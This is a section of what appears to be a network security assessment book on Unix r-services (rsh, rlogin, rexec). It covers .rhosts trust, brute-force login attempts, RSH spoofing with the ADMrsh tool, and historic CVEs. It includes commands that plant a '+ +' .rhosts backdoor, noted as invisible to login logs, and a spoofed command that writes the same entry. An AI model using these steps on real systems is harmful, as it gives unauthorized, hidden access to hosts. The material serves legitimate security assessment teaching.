7.4 R-Services
Unix r-services are common to commercial platforms, including Solaris, HP-UX, and AIX. I have assembled a list from the /etc/services file as follows:
exec 512/tcp login 513/tcp shell 514/tcp
Each service runs using standard PAM username and password authentication, which is overridden by ~/.rhosts and /etc/hosts.equiv entries defining trusted hosts and usernames. Locally, you will find that on Unix-based systems, the exec service is in.rexecd, the login service is in.rlogind, and the shell service is in.rshd.
7.4.1 Directly Accessing R-Services
From a Unix-based platform, you use rsh, rlogin, and rexec clients to access the respective r-services running on a remote host. Example 7-11 shows how you can use each client from the command shell.
Example 7-11. Standard r-services clients
# rsh
usage: rsh [-nd] [-l login] host [command]
# rlogin
usage: rlogin [ -8EL] [-e char] [ -l username ] host
# rexec
rexec: Require at least a host name and command.
Usage: rexec [ -abcdhns ] -l username -p password host command
-l username: Sets the login name for the remote host.
-p password: Sets the password for the remote host.
-n: Explicitly prompt for name and password.
-a: Do not set up an auxiliary channel for standard error.
-b: Use BSD-rsh type signal handling.
-c: Do not close remote standard in when local input closes
-d: Turn on debugging information.
-h: Print this usage message.
-s: Do not echo signals to the remote process.
7.4.1.1 Unix ~/.rhosts and /etc/hosts.equiv files
The .rhosts file is in the user home directory under Unix and contains a list of username and IP address or machine hostname pairs, such as the following:
# pwd /home/chris # cat .rhosts chris mail.trustmatta.com + 192.168.0.55 #
In this example, I can use any of the r-services (rsh, rlogin, or rexec) to connect to this host from mail.trustmatta.com if I am logged into the host as chris or from 192.168.0.55 with any username on that host.
When a user connects to the host running rshd (the remote shell daemon running on TCP port 514), the source IP address is cross-referenced against the .rhosts file, and the username is verified by querying the identd service running at the source. If these details are valid, direct access is given to the host without even requiring a password.
A simple, yet effective, backdoor for most Unix-based systems running rshd is to place an .rhosts file in the home directory of the bin user (/usr/bin/ under Solaris) containing the wildcards + +. Example 7-12 demonstrates planting this file to provide access to the host.
Example 7-12. Setting up a simple rsh back door
# echo + + > /usr/bin/.rhosts # exit hacker@launchpad/$ rsh -l bin 192.168.0.20 csh -i Warning: no access to tty; thus no job control in this shell... www% w 5:45pm up 33 day(s), 1 user, load average: 0.00, 0.00, 0.01 User tty login@ idle JCPU PCPU what root console 19Dec0219days -sh www%
A useful feature with the rshd service is that terminals aren't assigned to processes run through rsh. This means that bin access through the rshd backdoor doesn't appear in the utmp or wtmp logs, so it is cloaked within the system (not appearing within w or who listings). Unfortunately, the network connection into TCP port 514 appears if a user executes a netstat -a command, and processes run by the bin user also appear in ps -ef listings.
|
The /etc/hosts.equiv file is a system-level file that defines trusted hostnames or IP addresses that can freely access r-services. SunOS 4.1.3_U1 shipped with a + wildcard in the /etc/hosts.equiv file, which allows attackers to gain direct bin-level access to SunOS 4.1.3_U1 servers with TCP port 514 open.
7.4.2 R-Services Brute Force
User passwords can be brute-forced across rlogind because the service calls /bin/login and the standard PAM mechanism. The rshd and rexecd services don't pass username and password details to the login program in this way; they rely on .rhosts and /etc/hosts.equiv entries for authentication.
I recommend that for each user enumerated through finger, SMTP, and other information-leak vulnerabilities, you should try to access the host directly through open r-services in the following fashion:
# rsh -l chris 192.168.0.20 csh -i permission denied # rsh -l test 192.168.0.20 csh -i permission denied # rsh -l root 192.168.0.20 csh -i permission denied # rsh -l bin 192.168.0.20 csh -i Warning: no access to tty; thus no job control in this shell... www%
It's possible to use rsh to log into a Solaris server as the superuser root if the user password isn't set. I witnessed this once in a live environment during an onsite audit I undertook in a hosting center that contained Solaris web servers built and configured using automated scripts.
7.4.3 Spoofing RSH Connections
If you are aware of trust between hosts, you can spoof RSH connections to appear as if they are from trusted hosts using IP sequence prediction and falsified client responses to match entries in .rhosts files server-side. One tool that can perform RSH spoofing and execute commands is ADMrsh, available from the ADM site (http://adm.freelsd.net/ADM/). The utility requires the latest version of ADMspoof, and its header files (found in ADM-spoof-NEW.tgz at the time of writing) and its usage is shown here:
ADMrsh
**==**
It's very easy to use (like all the ADM products).
ADMrsh [ips] [ipd] [ipl] [luser] [ruser] [cmd]
Parameters List :
ips = ip source (ip of the trusted host)
ipd = ip destination (ip of the victim)
ipl = ip local (your ip to receive the informations)
luser = local user
ruser = remote user
cmd = command to execute
If ya don't understand, this is an example :
ADMrsh a.foo.us b.foo.us bad.org root root "echo\"+ +\">/.rhosts"
Credit's : Heike , ALL ADM CreW , !w00w00 , Darknet
ADMrsh 0.5 pub (c) ADM <-- hehe ;)
If the ADM web site is down or no longer archives the aforementioned files, you can download them from the O'Reilly security tools archive at the following locations (please note case-sensitivity):
- http://examples.oreilly.com/networksa/tools/ADMrsh0.5.tgz
- http://examples.oreilly.com/networksa/tools/ADM-spoof-NEW.tgz
7.4.4 Known R-Services Vulnerabilities
At the time of writing, the CERT vulnerability notes list (http://www.kb.cert.org/vuls/) doesn't highlight any serious exploitable bugs in r-services. The MITRE CVE list does a good job of listing historic issues, as detailed in Table 7-5.
|
CVE name |
Date |
Notes |
|---|---|---|
|
CVE-1999-0180 |
Unknown |
rshd allows users to log in with a NULL username and execute commands. |
|
CVE-1999-1059 |
25/02/1992 |
rexecd for various SVR4 systems allows remote attackers to execute arbitrary commands. |
|
CAN-1999-1266 |
13/06/1997 |
rshd generates different error messages when a valid username is provided versus an invalid name; this allows remote attackers to determine valid users. |
|
CAN-1999-1450 |
27/01/1999 |
SCO Unix OpenServer 5.0.5 and UnixWare 7.0.1 and earlier allows remote attackers to gain privileges through rshd and rlogind. |
